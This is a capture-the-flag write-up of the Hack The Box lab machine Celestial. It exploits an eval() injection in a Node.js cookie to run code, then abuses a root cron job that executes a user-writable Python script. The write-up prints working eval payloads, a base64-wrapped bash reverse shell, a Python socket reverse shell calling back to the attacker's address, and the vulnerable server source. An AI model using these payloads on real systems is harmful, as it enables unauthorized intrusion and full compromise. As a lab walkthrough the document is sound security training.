HTB Celestial Writeup: Alternative Route
Intro
Long story short, while preparing for my OSWE exam back in early 2022, I stumbled over a list of OSWE-like HTB boxes, and decided to give it a try. Celestial was one of them. While it was a rather straightforward machine to solve by 2022+ HTB standards, what a surprise it was to discover that none of the 10+ writeups, including the official one, proposed an attack vector I used. So, I decided to document it in a form of a good ol’ HTB writeup. With some of my hacking tips and workflows of course!
Recon
Before starting active scans, let’s add the machine’s domain name in the format of MACHINE_NAME.htb
to our /etc/hosts
. In the past, this has been sort of an unwritten rule for HTB, and you could waste a couple of hours trying to pwn an empty Apache server only to figure out that you were using an incorrect VHOST name all this time.
1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/projects/htb/celestial]
└─$ sudo bash -c "echo '10.10.10.85 celestial.htb' >> /etc/hosts"
┌──(kali㉿kali)-[~/projects/htb/celestial]
└─$ ping celestial.htb
PING celestial.htb (10.10.10.85) 56(84) bytes of data.
64 bytes from celestial.htb (10.10.10.85): icmp_seq=1 ttl=63 time=107 ms
64 bytes from celestial.htb (10.10.10.85): icmp_seq=2 ttl=63 time=107 ms
^C
--- celestial.htb ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 106.677/106.966/107.255/0.289 ms
Once this is done, let’s scan the host with Nmap. We will enumerate both TCP and UDP ports. I usually skip UDP scanning, but often regret it in CTFs like HTB after bashing my head against the wall for a bit of time :D Guess it’s better to be safe than sorry.
TCP Scan
1
sudo nmap -sT -sVC -p- --min-rate=500 -oA nmap_celestial -vvv celestial.htb
You might see that the command has a lot of flags in it. Let’s quickly break them down:
-sT
— use full connect TCP handshake mode. To be honest, I never saw any benefits of using-sS
(”stealth” half-open TCP handshake mode), as it is really not stealthier by any means in 2024 but can result in some weird output if scans are made through proxies / unconventional tunnels.-sT
will give you a concrete result.-sVC
are actually 2 separate flags,-sV
(enumerate service version) and-sC
(run common Nmap scripts against the services). These flags will help you gather a lot of auxiliary info about the open ports at your target.-p-
— scan all 1-65535 ports.--min-rate=500
set a minimum request rate to 500 requests / s. Some people love using the-T5
flag to speed up the scan, but, in my experience, Nmap would quickly throttle to hell if the connection has a small bandwidth and is unstable (like a HTB OpenVPN tunnel is). A minimum rate would limit this throttling to an acceptable scan speed. Nmap will work in a default-T4
mode in our case.-oA
— output all scan results in.txt
,.xml
, and.csv
files. Useful for some later processing!-vvv
— be very verbose. I like to get heaps of text in my terminal. Helps me feel like a real hacker.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[~/projects/htb/celestial]
└─$ sudo nmap -sT -sVC -p- --min-rate=500 -oA nmap_celestial -vvv celestial.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-23 11:18 EST
...
Not shown: 65528 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON VERSION
3000/tcp open http syn-ack Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
17274/tcp filtered unknown no-response
23603/tcp filtered unknown no-response
24841/tcp filtered unknown no-response
35846/tcp filtered unknown no-response
41228/tcp filtered unknown no-response
47962/tcp filtered unknown no-response
...
Nmap done: 1 IP address (1 host up) scanned in 164.54 seconds
Raw packets sent: 4 (152B) | Rcvd: 1 (28B)
UDP Scan
1
sudo nmap -sU --top-ports=1000 --min-rate=500 -oA nmap_celestial_udp -vvv celestial.htb
There are way fewer flags in my UDP scan command. UDP scans take way longer than they should because of the protocol specifics (stateless transmission and stuff). So, I often resort to scanning only the top 1000 (or even the top 100) ports without any extra script load to save time.
-sU
— UDP scan mode--top-ports=1000
— scan only top 1000 ports. You should probably set it to 100 to save some time.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sU --top-ports=1000 --min-rate=500 -oA nmap_celestial_udp -vvv celestial.htb
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-23 19:15 EST
...
Completed UDP Scan at 19:16, 22.11s elapsed (1000 total ports)
Nmap scan report for celestial.htb (10.10.10.85)
Host is up, received reset ttl 63 (0.11s latency).
Scanned at 2024-02-23 19:15:40 EST for 22s
PORT STATE SERVICE REASON
2/udp open|filtered compressnet no-response
3/udp open|filtered compressnet no-response
... Bunch of open|filtered / closed ports
The UDP port is likely closed if you don’t see a proper open
state in the Nmap output. Don’t dig deep into the UDP scan output.
Processing the Nmap data
The text output in the CLI showed only 1 open TCP port 3000. But let’s make the Nmap’s output a bit fancier. We will render the XML scan output into a neat HTML report using the below commands:
1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/projects/htb/celestial]
└─$ wget -q https://raw.githubusercontent.com/honze-net/nmap-bootstrap-xsl/stable/nmap-bootstrap.xsl
┌──(kali㉿kali)-[~/projects/htb/celestial]
└─$ xsltproc -o nmap_celestial.html nmap-bootstrap.xsl nmap_celestial.xml
┌──(kali㉿kali)-[~/projects/htb/celestial]
└─$ open nmap_celestial.html
I like this style of Nmap reports a lot more. Especially if you have to deal with 10+ targets.
Foothold
Looks like our only entry point is some Node.js HTTP server at port 3000.
HTTP server enum
Let’s first discover any URLs and directories on the web server. I like using ffuf and raft-large wordlists from SecLists for this job. However, this time, the fuzzing gives us nothing useful:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(kali㉿kali)-[~]
└─$ ffuf -w ~/git/SecLists/Discovery/Web-Content/raft-large-*.txt -u http://celestial.htb:3000/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://celestial.htb:3000/FUZZ
:: Wordlist : FUZZ: /home/kali/git/SecLists/Discovery/Web-Content/raft-large-words.txt
...
________________________________________________
*EMPTY*
________________________________________________
...
:: Wordlist : FUZZ: /home/kali/git/SecLists/Discovery/Web-Content/raft-large-directories.txt
...
________________________________________________
*EMPTY*
________________________________________________
...
:: Wordlist : FUZZ: /home/kali/git/SecLists/Discovery/Web-Content/raft-large-files.txt
...
________________________________________________
*EMPTY*
It is high time we opened the website in the browser and saw what we got in response.
Finding the bug
The website’s root gives us a 404 error in the HTML body but sets an interesting profile
cookie.
Looks like the cookie is a base64-encoded JSON, and the server uses the info from it to form a response text:
To streamline the decoding and encoding during the cookie modification, I will use a Hackvector BurpSuite extension. This is a Swiss army knife in the world of encoding/encryption. I highly encourage you to try it out!
The extension is straightforward to use. You just need to wrap your input in Hackvector metatags, and it will be automatically preprocessed before sending the request.
That’s how we can use it to unwrap the JSON encoding:
Let’s focus on the output itself. Looks like the server adds num
JSON field to itself. Since it is a string in the JSON, the output results in '2' + '2' = '22'
. Can we add anything else in the field?
Replacing 2
with a random letter, e.g., a
triggers a really interesting error from the server! Looks like we are in the eval
function!
Okay, we know we are inside the Node.js eval()
context, and our string is added to itself. The code should look like this:
eval(json.num + json.num)
Let’s try to add a comment to separate the second part of the eval statement. We don’t want it to mess up our payload.
Look! The Comment cancels out the second part of the addition. Our theory is correct! Let’s try some standard Node.JS RCE payloads. You can usually source them from Electron.JS exploitation articles ;D
The payload is:
1
require('child_process').execSync('ls -l /');//
We use a builtin require()
Node.js function to import a child_process
library and spawn a bash command that will list the root drive of the target server:
Getting a shell
So, we have a confirmed command execution. Let’s now try to pop a proper shell on the target! We need two things:
Our server’s external IP / IP in the same network as the target
HTB VPN will be in a tun* interface.
1 2 3 4
┌──(kali㉿kali)-[~/projects/htb/celestial] └─$ ip a | grep tun 4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500 inet 10.10.14.10/23 scope global tun0
Working payload, lol
You can really streamline this process with revshells.com website. Give it a try! Just input your IP from step 1, and select a matching payload and listener. We will use classic
nc
andbash
payloads.Nonetheless, this particular bash payload has some nasty characters that often can break everything! So I like to keep it safe and wrap it in a
echo BASE64 | decode base64 | execute with bash
wrapper to eliminate any possible bad chars.Encoding the payload
1 2 3 4
┌──(kali㉿kali)-[~/projects/htb/celestial] └─$ echo '/bin/bash -i >& /dev/tcp/10.10.14.10/8888 0>&1' | base64 L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjEwLzg4ODggMD4mMQo=
Wrapped payload
1
echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjEwLzg4ODggMD4mMQo= | base64 -d | bash
Let’s execute the malicious shell on the target!
Final payload:
1
require('child_process').execSync('echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjEwLzg4ODggMD4mMQo= | base64 -d | bash');//
On the attacker server, we get a shell from a sun
user!
1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/projects/htb/celestial]
└─$ nc -lvnp 8888
listening on [any] 8888 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.85] 57576
bash: cannot set terminal process group (2785): Inappropriate ioctl for device
bash: no job control in this shell
sun@celestial:~$
And we get our user.txt
flag!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
sun@celestial:~$ ls -l
ls -l
total 60
drwxr-xr-x 2 sun sun 4096 Sep 15 2022 Desktop
drwxr-xr-x 2 sun sun 4096 Sep 15 2022 Documents
drwxr-xr-x 2 sun sun 4096 Sep 15 2022 Downloads
-rw-r--r-- 1 sun sun 8980 Sep 19 2017 examples.desktop
drwxr-xr-x 2 sun sun 4096 Sep 15 2022 Music
drwxr-xr-x 47 root root 4096 Sep 15 2022 node_modules
-rw-r--r-- 1 root root 21 Feb 23 14:35 output.txt
drwxr-xr-x 2 sun sun 4096 Sep 15 2022 Pictures
drwxr-xr-x 2 sun sun 4096 Sep 15 2022 Public
-rw-rw-r-- 1 sun sun 870 Sep 20 2017 server.js
drwxr-xr-x 2 sun sun 4096 Sep 15 2022 Templates
-rw-rw-r-- 1 sun sun 33 Feb 23 11:17 user.txt
drwxr-xr-x 2 sun sun 4096 Sep 15 2022 Videos
sun@celestial:~$ cat user.txt
cat user.txt
ed79a760450b9cc0a21dda53d53f8e1e
What’s all the fuss about?
Now that we’ve compromised the Node.js server, it is time to explain why this write-up exists. You see, for some reason, all write-ups submitted to HTB only focus on the fact that this server uses a version of the node-serialize
library vulnerable to CVE-2017-5941.
Below is listed the vulnerable server code that makes use of that library (lines 5, 11-12). You can look up the exploit for it here.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// contents of /home/sun/server.js
var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser())
app.get('/', function(req, res) {
if (req.cookies.profile) {
var str = new Buffer(req.cookies.profile, 'base64').toString();
var obj = serialize.unserialize(str);
if (obj.username) {
var sum = eval(obj.num + obj.num);
res.send("Hey " + obj.username + " " + obj.num + " + " + obj.num + " is " + sum);
}else{
res.send("An error occurred...invalid username type");
}
}else {
res.cookie('profile', "eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==", {
maxAge: 900000,
httpOnly: true
});
}
res.send("<h1>404</h1>");
});
app.listen(3000);
However, for a reason unknown to me, everybody seems to disregard the literal eval(obj.num + obj.num)
call 2 lines below (line 14). This is the bug that we exploited above. ¯\(ツ)/¯ To be honest, it looks way more viable to exploit, at least in terms of the payload complexity.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// contents of /home/sun/server.js
var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser())
app.get('/', function(req, res) {
if (req.cookies.profile) {
var str = new Buffer(req.cookies.profile, 'base64').toString();
var obj = serialize.unserialize(str);
if (obj.username) {
var sum = eval(obj.num + obj.num);
res.send("Hey " + obj.username + " " + obj.num + " + " + obj.num + " is " + sum);
}else{
res.send("An error occurred...invalid username type");
}
}else {
res.cookie('profile', "eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==", {
maxAge: 900000,
httpOnly: true
});
}
res.send("<h1>404</h1>");
});
app.listen(3000);
Getting root
Let’s finish the box by rooting it.
Locating the privesc vector
If you pay attention to the ls -l
command above, you can see a strange file output.txt
, owned by root
in our home folder.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
sun@celestial:~$ ls -l
ls -l
total 60
drwxr-xr-x 2 sun sun 4096 Sep 15 2022 Desktop
drwxr-xr-x 2 sun sun 4096 Sep 15 2022 Documents
drwxr-xr-x 2 sun sun 4096 Sep 15 2022 Downloads
-rw-r--r-- 1 sun sun 8980 Sep 19 2017 examples.desktop
drwxr-xr-x 2 sun sun 4096 Sep 15 2022 Music
drwxr-xr-x 47 root root 4096 Sep 15 2022 node_modules
-rw-r--r-- 1 root root 21 Feb 23 14:35 output.txt
drwxr-xr-x 2 sun sun 4096 Sep 15 2022 Pictures
drwxr-xr-x 2 sun sun 4096 Sep 15 2022 Public
-rw-rw-r-- 1 sun sun 870 Sep 20 2017 server.js
drwxr-xr-x 2 sun sun 4096 Sep 15 2022 Templates
-rw-rw-r-- 1 sun sun 33 Feb 23 11:17 user.txt
drwxr-xr-x 2 sun sun 4096 Sep 15 2022 Videos
It seems the root
user runs some script and outputs the info about it to our home folder (?)
1
2
sun@celestial:~$ cat output.txt
Script is running...
Let’s try searching for this string on the server.
1
2
3
sun@celestial:~$ grep "Script is running..." -r / 2>/dev/null
/home/sun/output.txt:Script is running...
/home/sun/Documents/script.py:print "Script is running..."
Lol, the exact string is stored in a script.py
file, owned by our user in the ~/Documents
folder! Something fishy is happening here!
1
2
3
4
5
6
7
sun@celestial:~/Documents$ ls -la
ls -la
total 12
drwxr-xr-x 2 sun sun 4096 Sep 15 2022 .
drwxr-xr-x 21 sun sun 4096 Oct 11 2022 ..
-rw-rw-r-- 1 sun sun 29 Sep 21 2017 script.py
lrwxrwxrwx 1 root root 18 Sep 15 2022 user.txt -> /home/sun/user.txt
How about modifying it to confirm that something is happening to it? We can use cat <<EOF > file
trick to edit the file without an interactive editor, like vi
, or nano
. We’ve set the script to touch a file in the /tmp
directory.
1
2
3
4
5
6
7
8
9
sun@celestial:~/Documents$ cat <<EOF > script.py
> import os
> os.system('touch /tmp/test')
> EOF
EOF
sun@celestial:~/Documents$ cat script.py
import os
os.system('touch /tmp/test')
Sure enough, a couple minutes later, a /tmp/test
file, owned by root, appeared in the folder :D Smells like a cron job to me.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
sun@celestial:~/Documents$ ls -la /tmp
ls -la /tmp
total 48
drwxrwxrwt 11 root root 4096 Feb 23 15:00 .
drwxr-xr-x 23 root root 4096 Sep 15 2022 ..
drwxrwxrwt 2 root root 4096 Feb 23 14:53 .font-unix
drwxrwxrwt 2 root root 4096 Feb 23 14:53 .ICE-unix
drwx------ 3 root root 4096 Feb 23 14:53 systemd-private-bb7be2772f104447a28be1464637d838-colord.service-u8Pz5q
drwx------ 3 root root 4096 Feb 23 14:53 systemd-private-bb7be2772f104447a28be1464637d838-rtkit-daemon.service-aJi8qt
drwx------ 3 root root 4096 Feb 23 14:53 systemd-private-bb7be2772f104447a28be1464637d838-systemd-timesyncd.service-ehGjkV
-rw-r--r-- 1 root root 0 Feb 23 15:00 test
drwxrwxrwt 2 root root 4096 Feb 23 14:53 .Test-unix
drwx------ 2 root root 4096 Feb 23 14:53 vmware-root
-r--r--r-- 1 root root 11 Feb 23 14:53 .X0-lock
drwxrwxrwt 2 root root 4096 Feb 23 14:53 .X11-unix
drwxrwxrwt 2 root root 4096 Feb 23 14:53 .XIM-unix
Getting a root shell
Popping a root shell is pretty straightforward. I’ve used the Python payload from revshells.com, but you can also modify the above example with os.system
.
1
2
3
4
5
6
7
8
9
sun@celestial:~/Documents$ cat <<EOF > script.py
cat <<EOF > script.py
> import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.10",8889));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
<;os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
> EOF
EOF
sun@celestial:~/Documents$ cat script.py
cat script.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.10",8889));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
In 5 minutes, we get a reverse shell from a root user.
1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 8889
listening on [any] 8889 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.85] 42866
root@celestial:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@celestial:~# cat root.txt
cat root.txt
e8dff30e15353272508f5f8ad63ee60e
Here’s our culprit in the crontab! :)
1
2
3
4
5
root@celestial:~# crontab -l
# Edit this file to introduce tasks to be run by cron.
...
# m h dom mon dow command
*/5 * * * * python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py
Conclusion
Thanks for reading! Hope you’ve had as much fun as I did when I found the alternative solution to this box :D And, if you have any more hacking lifehacks, be sure to message me! This might turn out in a mini-series of some sort.